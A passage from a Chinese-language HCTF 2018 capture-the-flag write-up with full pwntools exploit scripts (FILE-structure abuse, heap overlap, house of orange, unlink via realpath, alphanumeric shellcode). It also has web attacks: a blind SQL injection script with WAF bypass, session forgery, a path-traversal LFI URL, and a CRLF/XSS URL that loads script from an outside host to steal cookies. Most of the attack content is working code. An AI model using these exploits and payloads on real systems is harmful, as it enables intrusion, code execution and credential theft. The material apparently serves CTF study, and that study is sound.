def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
ru("location to ")
codebase=int(rl().strip("\n"),16)-0x202010
buf=codebase+0x202010
lg("Code base",codebase)
fake_stdout=p64(0xfbad2084)+p64(0)*8
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p64(0x1)
fake_stdout=fake_stdout.ljust(0x88,'\x00')
fake_stdout+=p64(buf+0x300)
fake_stdout=fake_stdout.ljust(216,'\x00')
#fake_stdout+=p64(buf+0x20+224)
fake_stdout+=cyclic(0x40)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout)
raw_input()
#sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(buf+0x200-0x10)*7+p64(buf+0x201-0x10)*1)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(0)*8)
raw_input()
off=0x2020b4
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad3c80)+p64(0)*3+p64(buf+0x30)+p64(buf+0x200))
raw_input()
libc_addr=u64(ru("caaadaaa")[-16:-8])
libc.address=libc_addr-0x3e82a0
malloc_hook=libc.symbols['__malloc_hook']
print(hex(malloc_hook))
lg("libc",libc_addr)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(0)*8)
raw_input()
p.clean()
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad3c80)+p64(0)*3+p64(libc.symbols['environ'])+p64(libc.symbols['environ']+0x8)[0:7])
stack_addr=u64(rv(8))
lg("stack addr",stack_addr)
raw_input()
fake_stdout=p64(0xfbad3c80)+p64(stack_addr-0x980)*7+p64(stack_addr-0x980+0x8)
#fake_stdout=p64(0xfbad3c80)+p64(buf+0x20+0xd8)*7+p64(buf+0x20+0xd8+8)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p64(0x0)
fake_stdout=fake_stdout.ljust(0x88,'\x00')
fake_stdout+=p64(buf+0x300)+p64(0xffffffffffffffff)
fake_stdout=fake_stdout.ljust(216,'\x00')
#fake_stdout+=p64(buf+0x20+224)
fake_stdout+=cyclic(0x100)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout)
print("Go")
raw_input()
sl(p64(libc.address+0x4f322))
p.interactive()
raw_input()
fake_stdout=p64(0xfbad2084)+p64(0)*8
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p64(0x1)
fake_stdout=fake_stdout.ljust(0x88,'\x00')
fake_stdout+=p64(buf+0x300)
fake_stdout=fake_stdout.ljust(216,'\x00')
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout+cyclic(64)+p64(0xdeadbeef))
p.interactive()
### heap storm
知道了`scanf`可以触发`malloc`后，利用`off by one`把`size`改小加上`malloc
consolidate`来构造`overlap chunk`，最后`house of orange`(写了半小时，脚本有点乱)
from pwn import *
local=0
pc='./heapstorm_zero'
remote_addr=['150.109.44.250',20001]
aslr=False
context.log_level=True
context.terminal=['tmux','split','-h']
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("Choice:",str(idx))
def add(size,content):
choice(1)
sla(":",str(size))
sa(":",content)
def view(idx):
choice(2)
sla(":",str(idx))
def free(idx):
choice(3)
sla(":",str(idx))
if __name__ == '__main__':
sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
add(0x18,"AAA\n")
for i in range(24):
add(0x38,"A"*8+str(i)+"\n")
free(0)
free(4)
free(5)
free(6)
free(7)
free(8)
free(9)
sla("Choice:","1"*0x500)
add(0x38,"B"*0x30+p64(0x120))
add(0x38,"C"*0x30+p32(0x40)+'\n')
add(0x38,"P"*0x30+'\n')
free(4)
sla("Choice:","1"*0x500)
free(10)
sla("Choice:","1"*0x500)
add(0x38,"DDD\n")
add(0x38,"KKK\n")
add(0x38,"EEE\n")
view(5)
ru("Content: ")
libc_addr=raddr(6)-0x3c4b78
libc.address=libc_addr
lg("libc addr",libc_addr)
add(0x38,"GGG\n")
free(10)
free(11)
free(5)
view(8)
ru("Content: ")
heap=raddr(6)-0x2a0
lg("heap addr",heap)
for i in range(6):
free(23-i)
fake_struct="/bin/sh\x00"+p64(0x61)+p64(0)+p64(heap+0x430)+p64(0)+p64(1)
add(0x38,fake_struct+'\n')
free(17)
add(0x38,p64(0)+p64(0x31)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,p64(0)*3+p64(heap+0x2b0)+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x28,"DDD\n")
add(0x28,p64(0)+p64(0x41)+"\n")
free(6)
add(0x38,p64(0)*3+p64(0xa1)+p64(0)+p64(heap+0x470)+'\n')
add(0x28,'aa'+'\n')
p.interactive()
### easyexp
用到了realpath的libc洞，往前改，改了下prev size和next chunk的size（00，所以prev not
inuse），最后unlink，
#! /usr/bin/env python2
# -*- coding: utf-8 -*- # vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
p.ru('token:')
p.sl('DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH, env={'LD_PRELOAD': './libc-2.23.so'})
def mkfile(p, name, content):
p.ru('$ ')
p.sl('mkfile %s' % name)
p.ru('something:')
p.sl(content)
def mkdir(p, path):
p.ru('$ ')
p.sl('mkdir %s' % path)
def cat(p, path):
p.ru('$ ')
p.sl('cat %s' % path)
return p.rl().strip()
def main():
# Your exploit script goes here
p.ru('name: ')
p.sl('(unreachable)')
# leak libc
mkfile(p, '(unreachable)/tmp', 'a' * (0x100 - 1) + '/')
mkfile(p, 'buf%d' % 1, str(1) * 0xf0)
mkfile(p, 'buf%d' % 2, str(2) * 0xf0)
payload = p64(0) + p64(0x101) + p64(0x603180 - 0x18) + p64(0x603180 - 0x10)
payload = payload.ljust(0xf0, '3')
mkfile(p, 'buf%d' % 3, str(3) * 0xf0)
libc_addr = u64(cat(p, '(unreachable)/tmp')[0x100:].strip('\x0a').ljust(8, '\x00'))
libc_base = libc_addr - 0x3c5620
mkfile(p, 'buf3', payload)
p.info('libc base 0x%x' % libc_base)
for i in range(8):
payload = '../../' + 'x' * (8 - i)
mkdir(p, payload)
payload = '../../' + chr(0x10) + chr(0x1)
mkdir(p, payload)
mkdir(p, '../../')
mkfile(p, 'test', 'test')
mkfile(p, 'buf3', 'a' * 0x18 + p64(0x603060) + p32(0x100)[:3]) # opendir
libc = ELF('./libc-2.23.so')
system_addr = libc_base + libc.symbols['system']
if DEBUG:
gdb.attach(p.pid, gdbscript='b *0x401a64')
mkfile(p, 'buf3', p64(system_addr))
p.sl('ls /bin/sh')
p.irt()
if __name__ == '__main__':
main()
### christmas
需要用alphanumeric的shellcode去调用dlopen的函数，比较麻烦，所幸找到了encoder：<https://github.com/SkyLined/alpha3>
encoder直接用不了（因为针对windows），改动一下之后，因为base addr的问题，加上42 (sxor rax,
'2')，修正base，就可以用了。
剩下的asm就是直接dlopen -> dlsym(环境一样可以找到)，不过由于没有输出，只能侧信道，通过死循环判断是否成功，二分法一下搞定。yix
#! /usr/bin/env python2
# -*- coding: utf-8 -*- # vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
PAYLOAD = '''
mov eax, 0x66666866
sub eax, 0x66666066
add rsp, rax
mov eax, 0x10703078
sub eax, 0x10101010
mov r12, [rax]
mov eax, 0x101010E0
sub eax, 0x10101010
lea r13, [r12 + rax]
xor esi, esi
inc esi
push 0x6F732E67
mov rax, 0x616C6662696C2F2E
push rax
lea rdi, [rsp]
call r12
mov rdi, rax
mov rax, 0x101010474343416F
mov rdx, 0x1010101010101010
sub rax, rdx
push rax
mov rax, 0x7365795F67616C66
push rax
lea rsi, [rsp]
call r13
call rax
cmp byte ptr ds:[rax+{0}], {1}
die:
jg die
int3
'''
def get_shellcode(idx, ch):
payload = PAYLOAD.format(hex(idx), hex(ord(ch)))
shellcode = asm(payload)
with process('python2 alpha3/ALPHA3.py x64 ascii mixedcase RAX'.split()) as alpha:
alpha.s(shellcode)
alpha.shutdown()
encoded = alpha.r().strip()
return encoded
def is_greater(idx, ch):
with remote(HOST, PORT) as r:
#with process('./christmas') as r:
r.ru('token:')
r.sl('DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
r.ru('find it??\n')
r.sl(get_shellcode(idx, ch))
try:
r.rl(timeout=1)
except:
print('%d th is not greater than %s' % (idx, ch))
return False
print('%d th is greater than %s' % (idx, ch))
return True
def main():
# Your exploit script goes here
flag = ''
for i in range(0x20):
l = 0x10
r = 0x7f
while l < r:
mid = (l + r) // 2
if is_greater(i, chr(mid)):
l = mid + 1
else:
r = mid
flag += chr((l + r) // 2)
print('get flag %d th: %s' % (i, flag[-1]))
print('flag now %s' % flag)
#print(is_greater(0, 'i'))
if __name__ == '__main__':
main()
### the_end
题目首先给了libc地址，然后就是任意5字节写。
首先利用1个字节将stdout的vtable移动到存在libc地址的位置。
然后利用3个字节将该位置的libc地址改成one_gadget的地址。
最后利用1个字节修改stdout+0x28过check，在exit之后调用。
#! /usr/bin/env python
# -*- coding: utf-8 -*- import os
import sys
# https://github.com/matrix1001/welpwn
if os.path.exists('./welpwn') != True:
print("Verify that welpwn is in the current directory")
exit()
sys.path.insert(0,os.getcwd()+'/welpwn')
from PwnContext.core import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
st = lambda delim,data :ctx.sendthen(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def to_write(addr,val):
s(p64(addr))
sleep(0.1)
s(p8(val))
debugg = 0
logg = 0
ctx.binary = './the_end'
#ctx.remote_libc = '/vm_share/libc64.so' # /glibc/2.24/lib/libc-2.24.so
#ctx.debug_remote_libc = True # this is by default
ctx.remote = ('150.109.46.159', 20002)
#ctx.bases.libc
#ctx.symbols = {'sym1':0x1234, 'sym2':0x5678}
#ctx.breakpoints = [0x964]
#ctx.debug()
if debugg:
rs()
else:
rs(method = 'remote')
sla('token:','DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
if logg:
context.log_level = 'debug'
ru('gift ')
libc_base = int(ru(','),16) - 0xcc230
log.success("libc_base = %s"%hex(libc_base))
tls = libc_base + 0x5d5700
log.success("tls = %s"%hex(tls))
one = libc_base + 0xf02a4
log.success("one = %s"%hex(one))
vtable = libc_base + 0x3c56f8
log.success("vtable = %s"%hex(vtable))
io_stdout = libc_base + 0x3c5620
log.success("io_stdout = %s"%hex(io_stdout))
target = libc_base + 0x3c44e0 + 0x18
log.success("target = %s"%hex(target))
to_write(target,one&0xff)
to_write(target+1,(one>>8)&0xff)
to_write(target+2,(one>>16)&0xff)
to_write(vtable+1,(target>>8)&0xff)
to_write(io_stdout+0x28,0xff)
irt()
## Web
### kzone
www.zip可以下载到web源码，然后阅读源码，发现include/member.php提取了$_COOKIE['login_data']用于登录验证
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
这里密码判断用的是“==”可以用数字与字符串弱等于绕过，构造json串，其中密码从数字0开始爆破即可，爆破到65的时候成功登入。
login_data为
{"admin_user":"admin","admin_pass":65}
然后这里的username还可以注入，不过有waf拦截，因此需要绕过，需要注意的是or也被过滤了，因此information_schema不能用，所以需要用mysql.innodb_table_stats来查数据库名表名，发现F1444g表，不过不知道列名，这里用*发现就可以了，应该是只有一列，exp如下：
import requests
dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
ans = ''
for pos in range(1,1000):
flag = 1
for c in dic:
payload = "admin'and(strcmp(right((select/**/*/**/from/**/F1444g/**/limit/**/0,1),%d),'%s'))||'"%(pos,c+ans)
cookies = {'islogin':'1','PHPSESSID':'olvurpb8sqldthvnetdd0elf65','login_data':'{"admin_user":"%s","admin_pass":65}'%payload}
resp = requests.get("http://kzone.2018.hctf.io/include/common.php",cookies=cookies)
if 'Set-Cookie' in resp.headers:
ans = c+ans
print(ord(c))
flag=0
break
if flag:
break
print("--"+ans+"--")
### admin
在<http://admin.2018.hctf.io/change的页面源码里发现提示>
<!-- https://github.com/woadsl1234/hctf_flask/ -->
下载到源码，发现每次注册或者是登录的时候都会先将用户名转化成小写，另外修改密码的时候会取session['name']并转化为小写，然后根据转化后的用户名更改密码，调用的函数是：
def strlower(username):
username = nodeprep.prepare(username)
return username
网上搜索得知，这个函数在处理unicode字符时有一些问题，例如\u1d35即ᴵ，经过这个函数会变成大写字母I，然后再调用一下就会变成小写字母i，所以思路就明显了，注册一个admᴵn的账号，登录进去修改admin的密码，然后再登录即可
### bottle
根据题目提示，搜到bottle的crlf注入，开始bot是挂的，所以一直打不到东西，后来bot好了就行了。直接crlf首先注入一个CSP头部覆盖调已有的，然后注入xss向量即可，中间还需要注一个content-type头部，不然xss向量不解析。网上找到p牛的文章中的exp改一下就行了，exp如下：
>
> <http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-> Type:text/html%250aContent-Security-Policy:script-> src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E>
成功打到cookie
### Warmup
有个文件读取，结合源码中的提示source.php，得到源码，然后复制了一段网上搜索源码，发现基本就和网上phpmyadmin的洞<https://blog.csdn.net/nzjdsds/article/details/81260335是一样的，拿文章的payload一试即可：>
>
> <http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg>
### hide and seek
随便输个不是admin的用户名即可进后台，然后上传zip，后台会输出zip内的文件内容。试了下压缩软连接文件，可以读文件，`/proc/self/environ`，能读到uwsgi配置文件
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=323a960bcc1a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=
发现web目录，
接着读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
发现主文件/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
阅读源码:
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
发现有个flag.py，不过有个判断，直接读的话会跳出。在另一处flag写入了模板文件，因此读了templates/index.html，发现用户名为admin的时候才会输出flag，，判断是否admin根据的是session。然后secret_key是随机数，不过种子是uuid.getnode()，也就是机器的mac地址，因此可以算出来。mac地址读/sys/class/net/eth0/address后转10进制即可，知道了secret_key伪造session即可成功登录拿到flag
### Game
此题的注入方法与hctf2017的一道注入题类似，通过select 查询时order by关键字产生的比较排列次序进行相关字段的内容财解答。
此题查看前端源码可知要以admin身份访问flag.php方可获取flag，尝试很多数据点进行注入测试均无果。
/user.php?order=password该接口的order参数可指定当前页面输出的用户信息的排序字段。于是我们的解题思路为，依次注册用户，用户的密码根据递增单调增加，通过观察其通过password字段排序词序位于
id=='1'&&username=='admin' 用户的前后，来进行目标账户passowrd的求解。
exp如下：
import requests
import random
import string
def reg(username,password):
print("reg",username,password)
session = requests.Session()
paramsGet = {"action": "reg"}
paramsPost = {"password": password, "submit": "submit", "sex": "1", "username": username}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/reg.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded"}
response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
headers=headers)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
def login(session,username,password):
paramsGet = {"action": "login"}
paramsPost = {"password": password, "submit": "submit", "username": username}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/index.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded"}
response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
headers=headers)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
def getUserList(session):
headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/game/index.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}
response = session.get("http://game.2018.hctf.io/web2/user.php?order=password", headers=headers)
print("Status code: %i" % response.status_code)
# print("Response body: %s" % response.content)
tlist = response.text.split('<tr>')
nList = tlist[2:]
idList = []
nameList=[]
for _ in nList:
info=[]
ems = _.split('<td>')
c=0
for __ in ems:
x = __.split('</td>')[0].strip()
if len(x)>0:
info.append(x)
if c==0:
idList.append(x)
if c==1:
nameList.append(x)
c = c + 1
return idList,nameList
def getIndexByName(nameList,x):
return nameList.index(x)
def getIndexById(idList,x):
return idList.index(x)
def genRandomString(slen=10):
return ''.join(random.sample(string.ascii_letters + string.digits, slen))
def main():
myUsername= '[email protected]'
myPassword='test@test'
mySession = requests.Session()
username="93aa243d3ef17"
password="DSA8&&!@#$%^&D1NGY1A"
login(mySession,myUsername,myPassword)
idList,nameList = getUserList(mySession)
print(idList)
print(nameList)
print(nameList[getIndexById(idList,'1')])
for _ in range(1,100):
l=0
r=128
while l<r:
mid=(l+r+1)//2
temp = chr(mid)
testPass = password+temp
testUser = username+genRandomString(10)
reg(testUser,testPass)
idList, nameList = getUserList(mySession)
adminC = getIndexById(idList, '1')
testC = getIndexByName(nameList, testUser)
print('compare',adminC,testC,'mid=',mid,'l,r',l,r)
if adminC<testC:
l=mid
else:
r=mid-1
print(l,r)
password = password+chr(l)
print('password',password)
if __name__ =="__main__":
main()
由于exp进行二分时是由小逼近，所以注入结果最后一位存在比真实目标值小一的可能，通过求得的结果，登录访问获取flag。
## RE
### Spirial
`Spiral_core.sys`使用了IntelVT技术, 用`vmcall`等指令实现了一个虚拟机. flag第二部分直接写入sys文件.
* cpuid: 解密opcode
* invd: 打乱opcode
* vmcall: 执行指令, 格式`OPCODE|mem[dst]|direction|flag[src]`
* readmsr 解密mem数据
a = '''rdmsr(0x176);
invd(0x4433);
vmcall(0x30133403);
vmcall(0x3401CC01);
vmcall(0x36327A09);
vmcall(0x3300CC00);
vmcall(0x3015CC04);
vmcall(0x35289D07);
vmcall(0x3027CC06);
vmcall(0x3412CC03);
vmcall(0x3026CD06);
vmcall(0x34081F01);
vmcall(0x3311C302);
vmcall(0x3625CC05);
vmcall(0x3930CC07);
vmcall(0x37249405);
vmcall(0x34027200);
vmcall(0x39236B04);
vmcall(0x34317308);
vmcall(0x3704CC02);
invd(0x4434);
vmcall(0x38531F11);
vmcall(0x3435CC09);
vmcall(0x3842CC0A);
vmcall(0x3538CB0B);
vmcall(0x3750CC0D);
vmcall(0x3641710D);
vmcall(0x3855CC0F);
vmcall(0x3757CC10);
vmcall(0x3740000C);
vmcall(0x3147010F);
vmcall(0x3146CC0B);
vmcall(0x3743020E);
vmcall(0x36360F0A);
vmcall(0x3152CC0E);
vmcall(0x34549C12);
vmcall(0x34511110);
vmcall(0x3448CC0C);
vmcall(0x3633CC08);
invd(0x4437);
vmcall(0x3080CC17);
vmcall(0x37742C16);
vmcall(0x3271CC14);
vmcall(0x3983CC19);
vmcall(0x3482BB17);
vmcall(0x3567BC15);
vmcall(0x3188041A);
vmcall(0x3965CC12);
vmcall(0x32869C19);
vmcall(0x3785CC1A);
vmcall(0x3281CC18);
vmcall(0x3262DC14);
vmcall(0x3573CC15);
vmcall(0x37566613);
vmcall(0x3161CC11);
vmcall(0x3266CC13);
vmcall(0x39844818);
vmcall(0x3777CC16);
vmcall(0xFFEEDEAD);'''
lns = a.split("\n")
def on_invd(fn):
global op
if(fn == 0x4433):
for i in xrange(5):
t = op[2 * i]
op[2 * i] = op[2 * i + 1]
op[2 * i + 1] = t
elif(fn == 0x4434):
t = op[0]
for i in xrange(9):
op[i] = op[i + 1]
op[9] = t
elif(fn == 0x4437):
t = op[7]
for k in xrange(3):
op[k + 7] = op[7 - k - 1]
if(k == 2):
op[7 - k - 1] = op[3]
else:
op[7 - k - 1] = op[k + 7 + 1]
op[3] = op[1]
#op[1] = op[2]
op[1] = t
def on_vmcall(param):
fn = (param >> 24) & 0xFF
opr1 = (param >> 16) & 0xFF
opr1x = (opr1 & 0xF0) >> 4
opr1y = opr1 & 0xF
opr1_ = opr1x * 9 + opr1y
direction = (param >> 8) & 0xFF == 0xCC
opr2 = param & 0xFF
def rv(i):
if(direction):
rr = i
else:
rr = 27 - i - 1
return "x[%d]"%rr
if(fn == op[0]):
raise(AssertionError)
opc = "mov"
arg = rv(opr2)
elif(fn == op[1]):
opc = "add"
opo = "+"
arg = rv(opr2)
elif(fn == op[2]):
opc = "sub"
opo = "-"
arg = rv(opr2)
elif(fn == op[3]):
opc = "div"
opo = "/"
arg = rv(opr2)
elif(fn == op[4]):
raise(AssertionError)
opc = "mul"
arg = rv(opr2)
elif(fn == op[5]):
opc = "xor"
opo = "^"
arg = rv(opr2)
elif(fn == op[6]):
opc = "xor"
opo = "^"
arg = "%s + %s - %s"%(rv(opr2-1),rv(opr2),rv(opr2+1))
elif(fn == op[7]):
opc = "xor"
opo = "^"
arg = "%s << 4"%(rv(opr2))
elif(fn == op[8]):
raise(AssertionError)
opc = "or "
arg = rv(opr2)
elif(fn == op[9]):
opc = "xor"
opo = "^"
arg = "%s ^ %s ^ (%s + %s - %s)"%(rv(opr2 + 1), rv(opr2 - 1), rv(opr2 - 2), rv(opr2), rv(opr2 + 2))
elif(fn == 0xFF):
print("check")
return
dis = "%s m[%02X], %s"%(opc, opr1, arg)
#dis = "v[%d][%d] = (v[%d][%d] %s (%s)) & 0xFF"%(opr1x, opr1y, opr1x, opr1y, opo, arg)
print(dis)
#cpuid
op = [0xA3, 0xF9, 0x77, 0xA6, 0xC1, 0xC7, 0x4E, 0xD1, 0x51, 0xFF]
op2 = [0x90, 0xCD, 0x40, 0x96, 0xF0, 0xFE, 0x78, 0xE3, 0x64, 0xC7]
op3 = [0x93, 0xC8, 0x45, 0x95, 0xF5, 0xF2, 0x78, 0xE6, 0x69, 0xC6]
for i in xrange(len(op)):
op[i] ^= op2[i]
on_invd(0x4437)
for i in lns:
p = i.index("(")
q = i.index(")", p + 1)
cmd = i[:p]
param = int(i[p+1:q],16)
if(cmd == "rdmsr"):
pass
elif(cmd == "invd"):
on_invd(param)
elif(cmd == "vmcall"):
on_vmcall(param)
模拟解密mem
int mem[81] =
{
7, 206, 89, 35, 9, 5, 3, 1, 6,
2, 6, 5, 125, 86, 240, 40, 4, 89,
77, 77, 75, 83, 9, 1, 15, 87, 8,
211, 56, 111, 665, 225, 54, 2, 118, 855,
106, 170, 884, 420, 93, 86, 87, 7, 127,
8, 168, 176, 9, 50, 2, 6, 1123, 1129,
5, 198, 2, 37, 104, 51, 50, 103, 1,
